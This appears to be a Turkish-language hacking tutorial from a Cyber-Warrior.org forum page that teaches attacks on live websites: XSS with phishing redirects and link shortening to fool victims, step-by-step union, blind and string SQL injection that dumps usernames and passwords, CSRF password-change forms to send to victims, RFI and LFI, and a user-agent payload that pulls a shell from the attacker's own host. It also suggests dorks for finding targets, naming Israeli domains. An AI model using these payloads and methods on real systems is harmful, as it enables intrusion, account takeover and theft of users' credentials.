Ana Sayfa
 TIM Misyonu
 Forum | Academy New!
 Neler Yaptık?
 Görev Organizasyonu
 TIM'den Haberler
 Basında Biz Hit!
 Bilişim Suçları Kanunu
 İletişim
 
 Dökümanlar
 Programlar/Download
 Exploits / Vulnerabilities
 
Root > Documents > Web Güvenlik Açıkları > Zafiyet Tanımı ve Çeşitleri
Cyber-Warrior.Org \ Doküman \ Web Güvenlik Açıkları > Zafiyet Tanımı ve Çeşitleri
Madde
  Yazar : GoK-HaN
  Date : 14.05.2018 14:12:34
 
# Zafiyet Tanımı ve Çeşitleri
 
1. Zafiyet ve Çeşitleri

Zafiyet nedir ? Zafiyet kelime anlamı olarak ; arıklık , zayıflık demektir.
Peki Web Sunucularında zafiyet kelimesinin anlamı nedir ?
Zafiyet ; bir saldırganın sizin bilişim sisteminizin güvenliğini azaltmasına olanak sağlayan bir zayıflıktır.Bu zayıflığı kullanarak sisteminizi daha savunmasız hale getirebilir ve bu şekilde fayda sağlayabilir.

1.1 Çeşitleri

*XSS(Cross Site Script)
*SQL INJECTION
*LFI
*RFI
*CSRF / XSRF (Cross-Site Request Forgery)

2. XSS(Cross Site Script Nedir)?

Kelime anlamı “ Çapraz Kod Çalıştırmak “. Çok basit olmasına rağmen büyük sistemlerde bile bulunabilir.

2.1. XSS Mantığı nedir ?

Mesela “ facebook “ hakkında konuşalım.Siteye girip kullanıcı adı ve şifrenizi yazdığınızda “ beni hatırla “ seçeneği vardır.Bu seçeneği seçtikten sonra bilgileriniz sistem tarafından bilgisayarınıza kaydedilir. (Bunlara ‘ cookie ‘ denir.)
Bu küçük dosyaları bilgisayarınıza kaydetmesinin sebebi ise sitenin bir daha ki ziyaretinizde sizi tanıması ve bilgileri tekrar istememesidir.Şimdi XSS burada başlıyor.
Bu tür bir web sayfasında XSS bulup , o web sayfasına üye olan kişilerin oturum bilgilerini (Cookie) alıp , Çerez değişikliğine sebep olup hesabı kontrol altına alabilirsiniz. XSS mantığı bu şekildedir.

2.2. XSS için hangi araç?

Bir web tarayıcısı kullanmanız yeterli.
Örneğin : Mozilla
XSS bulduktan sonra bir sniffer ekleyerek admin şifre ve bilgilerine ulaşılabilir.

2.3. XSS Açıkları nerede bulunur ?

2.3.1. Search Kutuları

XSS açığı bulunması yüksek olan bir yer ise arama kutularıdır.
Örnek üzerinde anlatmaya çalışayım.
Bir arama kutusu düşünün.

Arama kutusunda XSS olup olmadığını anlamak için alert komutu yazalım.
<script>alert(“Cyber-warrior.org // GoK-HaN“);</script>
Bunu yazıp ara dedikten sonra eğer bir mesaj kutusu çıkıp “Cyber-warrior.org “ yazarsa XSS açığı bulduğunuz anlamına gelir.

Birde id değerinden yapalım ...
Bir site düşünün : www.site.com/contact.php?id=2
‘id=’ değerinden sonraki alanı siliyoruz ve alert kodumuzu yapıştırıyoruz.Yeni linkimiz şu şekilde oluyor.
www.site.com/contact.php?id=<script>alert("Cyber-warrior.org");</script>
Bu şekilde yazıp gönderdiğimizde üstteki mesaj kutusu yeniden geliyorsa xss var demektir.

2.3.2 Yorum Alanları


Buda üstteki yöntem gibi. Yorum alanına alert kodumuzu yazıp yorum yap diyoruz.Mesaj kutusu gelirse xss var demektir.


Bu şekilde bir veri girebileceğiniz , not bırakabileceğiniz alanlarda xss açığı deneyebilirsiniz.

Peki .
Sitede xss olduğunu biliyorsunuz ama hata gelmiyor .
Ne yapacağız ?

2.4. ByPass

Kodumuz şu şekildeydi : <script>alert("Cyber-warrior.org");</script>
En basit haliyle kodu şu şekilde değiştirdiğimizde bypass sağlanabilir.
Yeni Kod : “><script>alert("Cyber-warrior.org");</script>

2.5. JavaScript ByPass

Kodumuz şu şekildeydi : <script>alert("Cyber-warrior.org");</script>
Bunu değiştirip ;
Yeni Hali : <Script>alert("Cyber-warrior.org");</ScriptT>
Şeklinde yaparak hata vermesini sağlayabiliriz.

Peki hatayı aldık ne yapabiliriz ?


2.6. Örnek Bir Kullanım

www.site.com/cw.php?id=2

Şeklinde hedefimiz olduğunu ve bu hedefte xss olduğunu düşünelim.
www.site.com/cw.php?id=”><script>alert("Cyber-warrior.org");</script>

şeklinde kodumuzu ekledik ve hatayı aldık.
Şimdi ne yapabiliriz ? Phishing yapabilir miyiz ? Evet yapabiliriz.
Burada kurbanı istediğiniz bir fake sayfaya yönlendirip bilgilerini girmesini sağlayabilirsiniz . Bunun için linkimize yönlendirme kodu ekleyelim.

www.site.com/cw.php?id=”><script>document.location.href=”www.fakesayfam.com”</script>

Bunu girdiğimizde site otomatik olarak fakesayfam.com adresine yönlendirecektir. Peki bunu kurbana bunu linki gönderdiğimizde anlamayacak mı ? Link uzun ve değişik kodlar yazıyor . Bu linki kopyalayıp link kısaltma sitelerinden herhangi birini kullanabilirsiniz . Bu şekilde şüphelenmesini zorlaştırabilirsiniz.
Kısaltıldıktan sonra : site.com/g1k1h1n gibi bir link olacaktır.


3-Structured Query Language ( SQL )


SQL açığı ; bulduğumuz sitedeki verileri alıp kendi yararımıza kullanmamızı sağlar.Bunları ise SQL kodları ile yaparız.
Örnek verecek olursak ; admin bilgilerini almaya çalıştığımızı düşünelim.
Öncelikle Kullanıcıların tutulduğu tabloyu almalıyız .
Yani ; Üye tablosunu çekelim.

Üye tablosu böyle şimdi kolona ulaşmalıyız. Bizim işimize yarayan kolonlar hangileridir ? Tabii ki kullanıcı adı ve şifre .
Bu seferde kolonları çekip bilgileri öğreniriz. Bu şekilde 3 aşamalı düşünebiliriz.
Tablo > kolon > veri
En çok kullanılan sql komutları şu şekildedir.



3.1. SQL Açıklı siteleri nasıl buluruz ?


ID değeri bulunan (site.com/cw.php?id=1) sitelerde , arama kutularında , iletişim formlarında vs bulunabilir.
Peki google’da bu siteleri nasıl çıkartabiliriz ? Şu dork’u kullanabilirsiniz.
Dork : inurl:”.php?id=”
Belirli ülkeler için ise(örn israil) : inurl:”.php?id=” site:il


3.2. Nasıl Tespit Ederiz ?


Hedefimizin site.com/cw.php?id=2 olduğunu düşünelim.
Burada SQL açığının olup olmadığını anlamak için id değerinden sonra gelen sayıya tek-tırnak ( ‘ ) veya tırnak+q ( ‘q ) ekleriz.
Ve bu hatayı almaya çalışırız.



3.2.1 Sitedeki Arama(Search) Kutuları



Bu şekilde arama yerine aynı işaretlerimizi ( ‘ veya ‘q ) koyup ara diyoruz ve hata vermesini deniyoruz.


3.2.2 Kayıt Forumları


Kayıt formunda ;
Ad
Soyad
Kullanıcı Adı
Şifre
Mail
Olduğunu düşünelim.
Hepsine işaretlerimizi ekleyip Kayıt ol diyoruz ve hata vermesini deniyoruz.
Bu şekilde ziyaretçi defteri gibi veri girilen yerlerde de deneyebilirsiniz.



3.3 SQL ile Saldırı


Hedefimize karar verdik.
Site.com/cw.php?id=7’
Ve işaretimizi de koyduk hatamızı aldık.
İlk olarak kolon sayısını öğrenmeliyiz . peki nedir bu kolon sayısı ?
Veritabanındaki sütunlara kolon denir. Yukarıda üye tablosu örneği verdiğimizde görünen Kullanıcı adı ve şifre sütunları bir kolondur.
Şimdi ;
Site.com/cw.php?id=7+order+by+1 yapıyoruz . Sayfa eski haline dönerse sondaki 1 sayısını yükseltiyoruz. ( order+by+2 , order+by+3 gibi)
Site.com/cw.php?id=7+order+by+10 dedik ve ekrana bir hata geldi
Unknown column ‘10’ in ‘order clause’
Bu hatadan yola çıkarak kolon sayısının 10’dan küçük olduğunu anlarız.Hemen bir azaltırız.( +order+by+9 )
Yani sayfa hata verene kadar sayıyı yükseltiriz hata verdiği sayının 1 eksiği bizim kolon sayımız olur.
Eğer bir sayı yazdığınızda ekrana boş bir sayfa gelirse yada değişmez ise link sonuna -- (eksi eksi ) yada –x ( eksi eksi x ) ekleyip deneyebilirsiniz.
Kolon sayımızı bulduğumuza göre ne yapacağız ?
Kolon sayımızı bulduk : 9
Şimdi kolonları ekrana yansıtmaya çalışacağız. Kolonları yansıtmak için “ union select “ komutu kullanılır.
Örneğin ;
Site.com/cw.php?id=7+union+select+1,2,3,4,5,6,7,8,9
Peki neden burada 1,2,3,4,5,6,7,8,9 ekledik ? Çünkü kolon sayımız 9 du.
(Kolon sayısı 5 olsaydı 1,2,3,4,5 olarak yazacaktık)
Sayı yansımadı ne yapacağım ?
Kodumuz ile biraz oynayarak bu işlemide bypass edebiliriz.
Linkimi şu şekilde değiştirelim.
Site.com/cw.php?id=7+/*!union*/+/*!select*/+1,2,3,4,5,6,7,8,9--

Bu şekilde yaptığınızda ekrana yansıması gerekir. Eğer olmaz ise şu şekilde de değiştirilebilir.
Site.com/cw.php?id=7+union+(select+1,2,3,4,5,6,7,8,9--)
Şimdi üyeler tablosunu nasıl alacağız ?
Yukardaki kodları yazdığımızda ekrana 5 rakamının yansıdığını düşünelim. Şimdi bu rakam üzerinden bazı işlemler gerçekleştireceğiz.
Site.com/cw.php?id=-7+union+select+1,2,3,4,database(),6,7,8,9
Şeklinde linkimizi değiştiriyoruz ve 5 rakamının yansıdığı yere database adı yansıyor.
Şimdi bu db nin versiyonunu öğrenmeliyiz onun içinde ;
Site.com/cw.php?id=-7+union+select+1,2,3,4,version(),6,7,8,9
Şeklinde linkimizi güncelliyoruz.
Şimdi tabloları alıyoruz .
Site.com/cw.php?id=-7+union+select+1,2,3,4,group_concat(table_name),6,7,8,9+from+information_schema.tables--
Şeklinde sorgu gönderiyoruz.
Şimdi biz veritabanı adını öğrenmiştik. Bu veri tabanı içindeki tabloları alalım.
Site.com/cw.php?id=-7+union+select+1,2,3,4,group_concat(table_name),6,7,8,9+from+information_schema.tables+where+table_schema=database()--
Şeklinde sorgu gönderiyoruz. Buda bizim uğraştığımız sitenin db sindeki tabloları yansıtıyor. Yansımadı mı ?
Database() kelimesini hex’e dönüştürüyoruz. (64617461626173652829 )
NOT: hex’e dönüşmüş halinin başına “ 0x “ eklenmelidir.
Son hali : 0x64617461626173652829
Bu şekilde soruguyu gönderdik.
Ekrana bir kaç tablo yansıyacaktır. Kategoriler , mailler , üyeler vs gibi.
Bize burada lazım olan üyeler tablosudur.
Üyeler tablosunu yansıtalım.
Site.com/cw.php?id=-7+union+select+1,2,3,4,group_concat(table_name),6,7,8,9+from+information_schema.tables+where+table_schema=database()+and+table_name=uyeler--
Bu şekilde yaptık ve ekrana uye_id , uye_kullaniciadi , uye_sifre yansıdı.
Bize lazım olanlar hangileri ? kullanıcı adı ve şifre.
Şimdi bu sütunlardaki veriyi çekelim.
Site.com/cw.php?id=-7+union+select+1,2,3,4,group_concat(uye_kullaniciadi,uye_sifre),6,7,8,9+from+uyeler--
Ve karşımızda ;
Kullanıcı adı : Cyber Warrior
Şifre : CyberWarrior123
Bundan sonra ise admin panelini bulup bu bilgiler ile panele girmek kalıyor.


3.4. SQL Açığı Çeşitleri




3.4.1. Ms Access Injection


Öncelikle diğer sql hatalarından nasıl ayıracağız ? Bulduğumuz açığın Ms Access SQL açığı olduuğunu nereden anlayacağız ? Nasıl bir hata yansıyor ?
Site.com/Cyberwarrior.asp?id=2 gibi bir linke tırnak (‘) işaretimizi koyduğumuzda şu şekilde bir hata geliyorsa ;

Gelelim şimdi bu açıkta ne yapacağız ?
Önceki anlattığımızda ki gibi öncelikle kolon sayısını bulmalıyız.(üstteki başlıkta nasıl bulacağınızı öğrendiniz)
Site.com/Cyberwarrior.asp?id=2+order+by+6 dedik ve hata değişti .

6 yazdığımızda hata aldığımız için kolon sayımız 6-1 yani 5.
Buraya kadar geldiniz ve kendi kendinize diyorsunuz ki ; diğer sql den farkı yokmuş . Farkı şimdi başlıyor. Burada tablo adlarını yansıtamıyoruz , ne mi yapacağız ? Tahmin etmeye çalışacağız.
En çok kullanılan tablo adlarını şöyle bir aklımızdan geçirelim : user , users , admin , passwords vs.
Site.com/Cyber-warrior.asp?id=2+union+select+1,2,3,4,5+from+user-- deneyelim . Hata gelirse böyle bir tablo yok demektir.
Site.com/Cyber-warrior.asp?id=2+union+select+1,2,3,4,5+from+users-- deneyelim. Hata gelmedi mi ? Tamam tablomuzu bulduk.
Ekrana kolonların yansıdığını göreceksiniz. 2 ve 3 rakamının yansıdığını farz edelim. Burada da az önce olduğu gibi sütun isimlerinide tahmin etmeliyiz.En çok kullanılan denir düşünelim.(username,password,user,pass vs)
Site.com/Cyber-warrior.asp?id=2+union+select+1,user,password,4,5+from+users--   yazdık.Ekrana yansımaz ise sütun adlarını bulamadık demektir.Yansıdığını düşünelim.
Kullanıcı adı : Cyber-Warrior
Şifre : CyberWarrior123   
Şeklinde yansıyacaktır.


3.4.2. Blind SQL Injection


Bu sql açığının farkı ise ; diğer çeşitlerde hata alıyorduk ama burada almayacağız.Bu türde tırnak(‘) yada (‘q) kullanmayacağız.Ne mi kullanacağız ?
Hedefimiz > Site.com/Cyberwarrior.php?id=5
Burada Blind SQL olup olmadığını anlamak için linkin sonuna şu şekilde ekleme yapıyoruz.
Site.com/Cyberwarrior.php?id=5 and 1=1 --   
Yazdık ve sayfada değişiklik olmadığını farz edelim bu durumda ne yapacağız ? Tabii ki rakamlarla oynayacağız. 1=2 -- deneyelim.
Bunu yazdığımızda sayfada değişiklik olur ise Blind SQL bulduk demektir.
İlk olarak MySQL versiyonunu öğrenmemiz gerekiyor.Bunun sebebi eğer versiyonu 4 ise MCAccess SQL ‘ de olduğu gibi tahmin etmek zorunda kalırız.
SQL kodlarından bildiğiniz gibi versiyonu öğrenmek için “ SELECT @@version “ yazabilirsiniz. Burada bizim işimize yarayacak yeri @@version ‘ dur.
SQL kodlarından bildiğiniz gibi bir de string işlemlerinde geri dönen string’i parçalayıp istediğiniz yerini alabilirsiniz. ( Substring fonksiyonu)
Şimdi veri tabanı versiyonunu bulmalıyız.Bunun için linkimizi şu şekilde değiştiriyoruz.
Site.com/Cyberwarrior.php?id=5 and substring(@@version,1,1)=2 şeklinde sorgumuzu gönderdik.Eğer MySQL versiyonu 2 değişse sayfa bozulacaktır.Bu şekilde sondaki 2 rakamını yükseltiyoruz. 2,3,4,5 gibi.
Site.com/Cyberwarrior.php?id=5 and substring(@@version,1,1)=5 yaptık ve hata vermedi . Bu versiyonun 5 olduğu anlamına gelir.Şimdi ise tabloları çekelim.
Site.com/Cyberwarrior.php?id=5 and substring((select table_name from information_schema.tables where table_name like 0x7579656c6572),1,1)=0x75 olarak sorgumuzu gönderiyoruz. Şimdi burada ne yaptık ?
7579656c6572 = bu “ uyeler “ kelimesinin hex hali ve ilk konulardan da hatırladığınız gibi başına 0x ekliyoruz.
75 = Bu sayıda “u” harfinin hex hali ve başına 0x ekliyoruz.
Peki burada ne demek istedik ?
İçinde uyeler kelimesi geçen tablonun ilk harfi u mu ?
Eğer sayfa hata vermez , düzgün çalışır ise tablonun uyeler olduğunu anlarız.
Şimdiki sorgumuz ise şu şekilde olacaktır.Tablomuzu bulduk sırada kullanıcı adı ve şifre var yani sütunlar.
Site.com/Cyberwarrior.php?id=5 and substring((select column_name from information_schema.columns where table_name=0x 6b756c6c616e696369616469 limit 2,1),1,50) like 0x6b756c6c616e6963697369667265
Burada ne mi yaptık ?   
6b756c6c616e696369616469 : kullaniciadi
6b756c6c616e6963697369667265 : kullanicisifre
Limit 2 : Bunun anlamı çoğu veritabanında kullanıcı adı ve şifreler ilk 3 sütunda tutulur.
0: uye_id
1:kullanici adi
2:sifre gibi.
Yani burada kullaniciadi ve kullanicisifre sütunlarını aradık. Eğer sayfada bir hata ile karşılaşmazsanız sütun isimlerinide buldunuz demektir.
Sütunlarıda bulduk şimdi veriyi çekelim.
Site.com/Cyberwarrior.php?id=5 and substring((select kullaniciadi from uyeler),1,1)= buraya hex kodunuzu yazarak tahmin etmeniz gerekiyor.Başına 0x koymayı unutmayın. Hata vermediği sürece doğru buldunuz demektir. Şifreyide aynı şekilde tahmin etmelisiniz.
Site.com/Cyberwarrior.php?id=5 and substring((select kullanicisifre from uyeler),1,1)= buraya hex kodu
Bu şekilde bir SQL açığıdır.


3.4.3. String SQL Injection


Öncelikle bu nasıl anlaşılır bunu anlatmaya çalışayım. Normal bir SQL açığı gibi sonuna tırnak(‘) veya (‘q) işareti koyarak sql hatası alıyoruz.
Sonra kolon sayısını öğreniyorduk ama bu türde order by kullanarak kolon sayısını öğrenemiyoruz.
Site.com/Cyberwarrior.asp?id=1+order+by+1--   gibi devam ediyoruz . +oder+by+111235461651895165 yaptık ama yinede hata vermiyor . Peki tırnak koyarak sql hatasını aldık ama kolon sayısını bulamıyoruz açık yok demek mi ? Tabii ki hayır.Açık var ama uğraştırmak istiyor.İşte bu türe String SQL diyoruz.
Rakam kullanarak hata alamadık bu yüzden string kullanacağız.
Site.com/Cyberwarrior.asp?id=1+order+by+1’ and ‘x’=’x
Site.com/Cyberwarrior.asp?id=1+order+by+1--   and ‘x’=’y
Site.com/Cyberwarrior.asp?id=1+order+by+1--   and ‘y’=’x
Site.com/Cyberwarrior.asp?id=1+order+by+1--   and ‘z’=’x
Gibi denedik. Eğer denediklerimizde sayfa değişir ve hata verirse bulduk demektir.Yani siteye mantık hatası verdirmeye çalışıyoruz.
Şimdi kolon sayımızı bulalım. Hata verdirdiğimiz eki unutmuyoruz.(örn ‘x’=’x )
Site.com/Cyberwarrior.asp?id=-1’ union select+0+1,2,3,4,5 and ‘x’=’x şeklinde sorgularımızı gönderiyor. Şimdi diyeceksiniz ki 0 ne ?
Bildiğiniz gibi sütun numaraları 0 dan başlar , bu yüzden 0 ‘ı da dahil ediyoruz.
Evet yazdık ekrana 3 rakamının yansıdı.
Site.com/Cyberwarrior.asp?id=1’ and union select+0,1,2,(select group_concat(table_name)+from+informations_schema.tables+where+table_schema=database()),4,5 and ‘x’=’x
Bu şekilde yaptığımızda az önceki 3 rakamının yansıdığı yere tabloların yansımasını sağlıyoruz.( yansıyan tablo ismi uyeler olsun)
Site.com/Cyberwarrior.asp?id=1’ and union select+0,1,2,(select group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name=’uyeler’),4,5 and ‘x’=’x
Şeklinde sorgumuzu gönderiyoruz ve kolonlar yansıyor. ( Kullanici_adi , kullanici_sifre )
Peki şimdi kullanıcı adını ve şifreyi çekelim.
Site.com/Cyberwarrior.asp?id=1’ and union select+0,1,2,(select group_concat(kullanici_adi,kullanici_sifre)+from+’uyeler’),4,5 and ‘x’=’x
Şeklinde sorgumuzu gönderiyoruz ve ekrana ;
Kullanıcı adı : CyberWarrior
Şifre : CyberWarrior123123 yazıyor ...


3.4.4. SQL Login ByPass


Bu tür ise kullanıcı girişi gibi yerlerde arayabileceğiniz bir açıktır.Sitenin admin panelini bulduğunuzu düşünün. Kullanıcı adı yerine x ve şifre yerine y girdiğinizde , giriş kabul edilip panele yönlendirirse Login ByPass gerçekleşmiş demektir.
Şimdi x ve y yerine neler yazacağız ? Bir kaç örnek verelim.Daha fazlasını internette bulabilirsiniz.



3.4.5. POST DATA SQL Injection


Şu şekilde bir form olduğunu düşünelim.

Kullanıcı adı ve şifre yerine tırnak+q(‘q) giriyoruz veşu şekilde hata vermesini sağlıyoruz.

Evet hatayı aldık ne yapıyoruz ? Giriş sayfasına dönüp (resim1) sayfanın kaynağını görüntülüyoruz.(ctrl+u yada sağtık>kaynak)
Kaynak kodlarında <form name=”Cyber-warrior” method=”POST” action=”kullanici_giris.aspx”> gibi bir kod göreceksiniz.
Biz burada post yerine get kullanacağız peki nedir farkı ?
POST verileri adres çubuğunda göstermez , GET ise adres çubuğunda gösterir. Yani farkı güvenlik .
Başlayalım ...
İlk olarak kaynağı görüntülediğimizdeki kodu kopyalıyoruz ve masaüstüne bir metin belgesi açıp yapıştırıyoruz ve şu şekilde kodu değiştiriyoruz.
<form name=”herhangibirisim” method=”GET” action=”http://hedefsite.com/kullanici_giris.aspx”>
Ve uzantısı .html olarak kaydediyoruz.
Tıklayarak açıyoruz (gerekli yerleri tırnak+q olarak dolduruyoruz)ve hedefte şöyle bir linke denk geleceksiniz.
Hedefsite.com/kullanici_girisi.aspx?kadi=’q&ksifre=’q&
Buradan sonrasını SQL Tool’ları ile yapabilirsiniz. Bu linkten taradığında açık bulacaktır.


4. CSRF / XSRF (Cross Site Request Forgery)


Nedir bu ?
Sizin cookie bilgilerinizin alınıp başka bilgiler ile değiştirilmesidir.
Karşınızdaki gönderdiğiniz linke tıkladığı anda elinizde demektir.
Nasıl yapılır ?
Bir giriş formunda verilerin get ile aktarıldığını düşünelim.
Şifrenizi unuttunuz ve değiştirmek için site.com/sifreyenile.php adresine gittiniz.Şifrenizi değiştirdiğinizde site.com/sifreyenile.php?yenisifre=girdiginizsifre123 şeklinde bir link olduğunu görürseniz burada csrf açığı var anlamına gelir.
Eee karşı kurbanınkini nasıl alacağım ?
Hemen bu şifre yenileme yerinin kaynak kodunu alırsınız.
Şu şekilde bir kaynak kodu olacaktır...
<form method=”get” action=”sifreyenile.php”>
<input type=”password” name=”sifre” >
<input type=”submit” value=”gönder”>
</form>

Bunu kopyalayıp masaüstünde bir metin belgesi açıp yapıştırıyoruz ve şu şekilde değiştiriyoruz.

<form method=”get” action=”http://hedefsite.com/sifreyenile.php”>
<input type=”password” name=”sifre” value=”degismesiniistedginizsifre”>
<input type=”submit” value=”gönder”>
</form>

.html uzantılı kaydediyoruz. Peki nasıl hedefe göndereceğiz ? Burası size kalıyor. Bir şekilde bu dosyayı gönderip tıklattırmanız gerekiyor.


5. RFI (Remote File Include)


Nedir ?
Kelime anlamı hepimizin bildiği gibi uzaktan dosya eklemek / dahil etmektir.
Adından da belli olduğu gibi siteye uzaktan bir dosya çekebiliriz.
Bir site olduğunu düşünelim. : site.com/cw.php?id=7
İd değerindeki 7 rakamını siliyoruz. Shell dosyamızı bir hosting’e .txt olarak atıyoruz ve şu şekilde çağırıyoruz.
Site.com/cw.php?id=http://sitemiz.com/shell.txt
Dosya gelirde ekranda çalışır ise açığı buldunuz demektir.


6. LFI (Local File Include)


Kelime anlamı bildiğiniz gibi Yerel dosya eklemek/dahil etmek anlamına gelir.Mantık olarak sitenin bulunduğu sunucudaki dosyaları okumayı sağlar. Burada kullanacağımız komut etc/passwd komutudur.
site.com/cw.php?id= şeklinde hedefimiz hazır. SQL hatası veya başka hata veriyorsa LFI olma ihtimali var demektir. Bunun hatası ise şu şekildedir.
Warning : include() “/home/user/public_html/cw.php”
Bu hatayı alıyorsak LFI var demektir.
Burada hatayı iyi analiz edin kaç klasör vardı ? home , user , public_html , cw.php > 4
Bu yüzden 4 tane ../ işareti koyacağız . Bu şekilde 4 dizin üste çıkacağız yani ana dizine.
site.com/cw.php?id=../../../../etc/passwd
Bu şekilde okuyamaz iseniz ../../../../etc/passwd komutunu html encoder ile şifreleyip deneyin.
site.com/cw.php?id=..%2F..%2F..%2F..%2Fetc%2Fpasswd şeklinde yazdığınızda okuyacaksınızdır.
Şu şekilde bir ekran ile karşılaşacaksınız.

Bundan sonrası için mozilla ve tamper data eklentisi kullanacağız.
Tamper data eklentisi açın ve önüne gelenlere “ tamper “ diyin.
Karşınıza bir form gelecek ve oradaki user-agent kısmını şu şekilde değiştireceksiniz.
<? System(“cat www.sitemiz.com/shell.txt? –O shell.php”); ?>
Ve tamam diyeceğiz. Dosyamız dahil edildi.
Hedef.com/shell.php olarak ulaşabilirsiniz.
   
   
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©